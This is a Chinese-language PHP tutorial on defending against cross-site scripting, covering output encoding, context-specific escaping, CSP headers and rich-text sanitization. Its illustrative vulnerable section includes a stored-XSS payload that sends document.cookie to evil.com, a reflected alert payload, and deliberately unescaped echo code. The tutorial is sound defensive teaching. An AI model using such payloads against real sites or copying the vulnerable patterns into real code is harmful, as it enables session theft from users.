Skip to content

XSS 防护

XSS(Cross-Site Scripting,跨站脚本攻击)是最常见的 Web 安全漏洞之一。攻击者将恶意 JavaScript 代码注入页面,在用户浏览时执行,从而窃取用户数据、劫持会话、钓鱼欺骗等。PHP 开发者必须理解 XSS 的攻击类型和全面的防护策略。

前置知识

阅读本节前,建议先了解:表单提交与验证输出编码

基础概念

XSS 攻击类型

类型存储位置注入点危害等级
反射型 XSSURL 参数服务端直接输出用户输入
存储型 XSS数据库从数据库读取后输出到页面
DOM 型 XSS前端 JSJavaScript 动态操作 DOM中-高

XSS 攻击示例

php
<?php

// === 漏洞代码:反射型 XSS ===
$name = $_GET['name'] ?? 'Guest';
// 攻击 URL: /page.php?name=<script>alert('XSS')</script>
echo "Hello, " . $name;  // 危险!直接输出未编码的用户输入

// === 漏洞代码:存储型 XSS ===
// 1. 用户提交评论:<script>document.location='http://evil.com/?c='+document.cookie</script>
// 2. 存入数据库
// 3. 其他用户查看评论列表时,恶意脚本执行
$comments = $pdo->query('SELECT content FROM comments');
foreach ($comments as $comment) {
    echo "<div>" . $comment['content'] . "</div>"; // 危险!
}

// === 漏洞代码:DOM 型 XSS ===
// 前端 JS 直接使用 URL 参数
// document.getElementById('output').innerHTML = location.hash.substring(1);

XSS 的危害

  • 窃取用户的 Session ID 和 Cookie
  • 篡改页面内容(钓鱼攻击)
  • 监控用户键盘输入(密码窃取)
  • 利用用户的身份执行操作
  • 将用户重定向到恶意网站

PHP 输出编码防护

htmlspecialchars() -- HTML 上下文编码

php
<?php

declare(strict_types=1);

// htmlspecialchars 核心参数
// htmlspecialchars(string $string, int $flags, ?string $encoding, bool $double_encode)

// 基本用法
$userInput = '<script>alert("XSS")</script>';
echo htmlspecialchars($userInput);
// &lt;script&gt;alert(&quot;XSS&quot;)&lt;/script&gt;

// 始终使用 ENT_QUOTES(编码单引号和双引号)
echo htmlspecialchars($userInput, ENT_QUOTES, 'UTF-8');

// 编码标志对比
// ENT_COMPAT:  只编码双引号(默认,不推荐)
// ENT_QUOTES:  编码单引号和双引号(推荐)
// ENT_NOQUOTES: 不编码任何引号
// ENT_SUBSTITUTE: 替换无效编码序列为 Unicode 替代字符

// 最佳实践
echo htmlspecialchars($input, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');

不同上下文的编码策略

php
<?php

declare(strict_types=1);

// === 1. HTML 正文 ===
$name = $_GET['name'] ?? '';
echo '<p>Hello, ' . htmlspecialchars($name, ENT_QUOTES, 'UTF-8') . '</p>';

// === 2. HTML 属性 ===
$value = $_GET['value'] ?? '';
echo '<input type="text" value="' . htmlspecialchars($value, ENT_QUOTES, 'UTF-8') . '">';

// === 3. JavaScript 上下文 ===
// 错误:直接嵌入 PHP 变量到 JS
// echo "var name = '" . $name . "';"; // XSS!

// 正确:使用 json_encode
$userName = $_GET['name'] ?? 'default';
echo 'var name = ' . json_encode($userName,
    JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT) . ';';

// === 4. URL 上下文 ===
$redirect = $_GET['redirect'] ?? '/home';
// 验证 URL 是同源的
if (!str_starts_with($redirect, '/') || str_starts_with($redirect, '//')) {
    $redirect = '/home';
}
echo '<a href="' . htmlspecialchars($redirect, ENT_QUOTES, 'UTF-8') . '">链接</a>';

// === 5. CSS 上下文 ===
$color = $_GET['color'] ?? '#000';
$allowedColors = ['#000', '#fff', '#333', '#666'];
if (!in_array(strtolower($color), $allowedColors, true)) {
    $color = '#000';
}
echo '<style>body { color: ' . htmlspecialchars($color, ENT_QUOTES, 'UTF-8') . '; }</style>';

全面的 XSS 防护函数

php
<?php

declare(strict_types=1);

/**
 * 安全的 HTML 输出辅助类
 */
class Escaper
{
    private readonly string $encoding;

    public function __construct(string $encoding = 'UTF-8')
    {
        $this->encoding = $encoding;
    }

    /** HTML 上下文转义 */
    public function escapeHtml(string $string): string
    {
        return htmlspecialchars($string, ENT_QUOTES | ENT_SUBSTITUTE, $this->encoding);
    }

    /** HTML 属性转义 */
    public function escapeHtmlAttr(string $string): string
    {
        return htmlspecialchars($string, ENT_QUOTES | ENT_SUBSTITUTE, $this->encoding);
    }

    /** JavaScript 上下文转义 */
    public function escapeJs(string $string): string
    {
        return json_encode((string) $string,
            JSON_HEX_TAG | JSON_HEX_AMP | JSON_HEX_APOS | JSON_HEX_QUOT);
    }

    /** CSS 上下文转义 */
    public function escapeCss(string $string): string
    {
        return preg_replace('/[^a-zA-Z0-9#\-_.]/', '', $string);
    }

    /** URL 上下文转义 */
    public function escapeUrl(string $string): string
    {
        return rawurlencode($string);
    }

    /** 移除危险 HTML 标签(保留安全标签)*/
    public function sanitizeHtml(string $html, array $allowedTags = [
        'p', 'br', 'strong', 'em', 'a', 'ul', 'ol', 'li',
    ]): string {
        $allowed = '<' . implode('><', $allowedTags) . '>';
        return strip_tags($html, $allowed);
    }
}

$esc = new Escaper('UTF-8');
echo $esc->escapeHtml($userInput);
echo '<a href="' . $esc->escapeHtmlAttr($url) . '">' . $esc->escapeHtml($text) . '</a>';
echo '<script>var data = ' . $esc->escapeJs($jsonData) . ';</script>';

Content Security Policy (CSP)

PHP 设置 CSP 头

php
<?php

declare(strict_types=1);

// 严格的 CSP 策略
header("Content-Security-Policy: "
    . "default-src 'self'; "
    . "script-src 'self'; "
    . "style-src 'self' 'unsafe-inline'; "
    . "img-src 'self' data:; "
    . "font-src 'self'; "
    . "connect-src 'self'; "
    . "frame-ancestors 'none'"
);

// 使用 nonce 的 CSP 策略
$nonce = bin2hex(random_bytes(16));
header("Content-Security-Policy: "
    . "script-src 'self' 'nonce-{$nonce}'; "
    . "style-src 'self' 'nonce-{$nonce}'; "
    . "default-src 'self'"
);
?>
<!-- 内联脚本需要匹配 nonce -->
<script nonce="<?= htmlspecialchars($nonce, ENT_QUOTES, 'UTF-8') ?>">
    console.log('Hello');
</script>

// === CSP 指令说明 ===
// default-src:     所有未指定类型的默认策略
// script-src:      JavaScript 来源
// style-src:       CSS 样式来源
// img-src:         图片来源
// connect-src:     AJAX/WebSocket 来源
// frame-ancestors: 哪些页面可以嵌入当前页面
// report-uri:      违规报告地址

处理富文本(HTML 输入)

安全的富文本处理

php
<?php

declare(strict_types=1);

// === 方式一:strip_tags(简单但有限)===
$allowedTags = '<p><br><strong><em><a><ul><ol><li><h1><h2><h3><pre><code><img>';
$safeHtml = strip_tags($userHtml, $allowedTags);
// strip_tags 不处理属性,恶意属性可能残留

// === 方式二:正则清理属性 ===
function sanitizeHtmlAttributes(string $html): string
{
    // 移除所有事件处理器属性
    $html = preg_replace('/\s+on\w+\s*=\s*["\'][^"\']*["\']/i', '', $html);
    $html = preg_replace('/\s+on\w+\s*=\s*\S+/i', '', $html);
    // 移除 javascript: 协议
    $html = preg_replace('/href\s*=\s*["\']javascript:[^"\']*["\']/i', 'href="#"', $html);
    $html = preg_replace('/src\s*=\s*["\']javascript:[^"\']*["\']/i', 'src=""', $html);
    return $html;
}

// === 方式三:HTML Purifier(推荐,最安全)===
// Composer: composer require ezyang/htmlpurifier
// require_once 'vendor/autoload.php';

function purifyHtml(string $html): string
{
    $config = HTMLPurifier_Config::createDefault();
    $config->set('HTML.Allowed', 'p,br,strong,em,a[href|title],ul,ol,li,h1,h2,h3,blockquote,pre,code,img[src|alt]');
    $config->set('URI.AllowedSchemes', ['http' => true, 'https' => true, 'mailto' => true]);
    $config->set('AutoFormat.RemoveEmpty', true);
    $config->set('HTML.SafeIframe', false);

    $purifier = new HTMLPurifier($config);
    return $purifier->purify($html);
}

实战示例:安全的用户评论系统

php
<?php

declare(strict_types=1);

class CommentSystem
{
    private readonly PDO $pdo;
    private readonly Escaper $escaper;

    public function __construct(PDO $pdo)
    {
        $this->pdo = $pdo;
        $this->escaper = new Escaper('UTF-8');
    }

    public function saveComment(int $userId, string $content): int
    {
        $stmt = $this->pdo->prepare(
            'INSERT INTO comments (user_id, content, created_at) VALUES (?, ?, NOW())'
        );
        $stmt->execute([$userId, $content]);
        return (int) $this->pdo->lastInsertId();
    }

    public function renderComments(int $page = 1, int $perPage = 20): string
    {
        $offset = ($page - 1) * $perPage;
        $stmt = $this->pdo->prepare(
            'SELECT c.content, u.username, c.created_at
             FROM comments c JOIN users u ON c.user_id = u.id
             ORDER BY c.created_at DESC LIMIT ? OFFSET ?'
        );
        $stmt->execute([$perPage, $offset]);

        $html = '';
        foreach ($stmt as $row) {
            $username = $this->escaper->escapeHtml($row['username']);
            $content = purifyHtml($row['content']);
            $date = $this->escaper->escapeHtml($row['created_at']);

            $html .= '<div class="comment">';
            $html .= '<span class="author">' . $username . '</span>';
            $html .= '<span class="date">' . $date . '</span>';
            $html .= '<div class="content">' . $content . '</div>';
            $html .= '</div>';
        }

        return $html;
    }
}

注意事项

1. 编码顺序:先过滤,后编码

php
<?php

// 正确的流程
// 1. 输入验证(过滤/验证数据格式)
// 2. 业务处理(存储到数据库)
// 3. 输出编码(根据上下文转义)

// 错误:编码后再存储(会导致双重编码问题)
$encoded = htmlspecialchars($input);

2. Content-Type 与 XSS

php
<?php

// 设置正确的 Content-Type
header('Content-Type: text/html; charset=utf-8');
// 缺少 charset 可能导致浏览器误判编码引发 XSS

最佳实践

1. 全面的 XSS 防护清单

php
<?php

// [x] 所有用户输入在输出到 HTML 时使用 htmlspecialchars()
// [x] HTML 属性值使用 ENT_QUOTES 编码
// [x] JavaScript 中的 PHP 变量使用 json_encode()
// [x] URL 参数使用 rawurlencode()
// [x] 设置 Content-Type: text/html; charset=utf-8
// [x] 配置 CSP 头
// [x] 富文本使用 HTML Purifier
// [x] Cookie 设置 HttpOnly(防止 JS 读取)
// [x] Cookie 设置 SameSite(防止跨站携带)

下一节

继续学习:安全总则

参考链接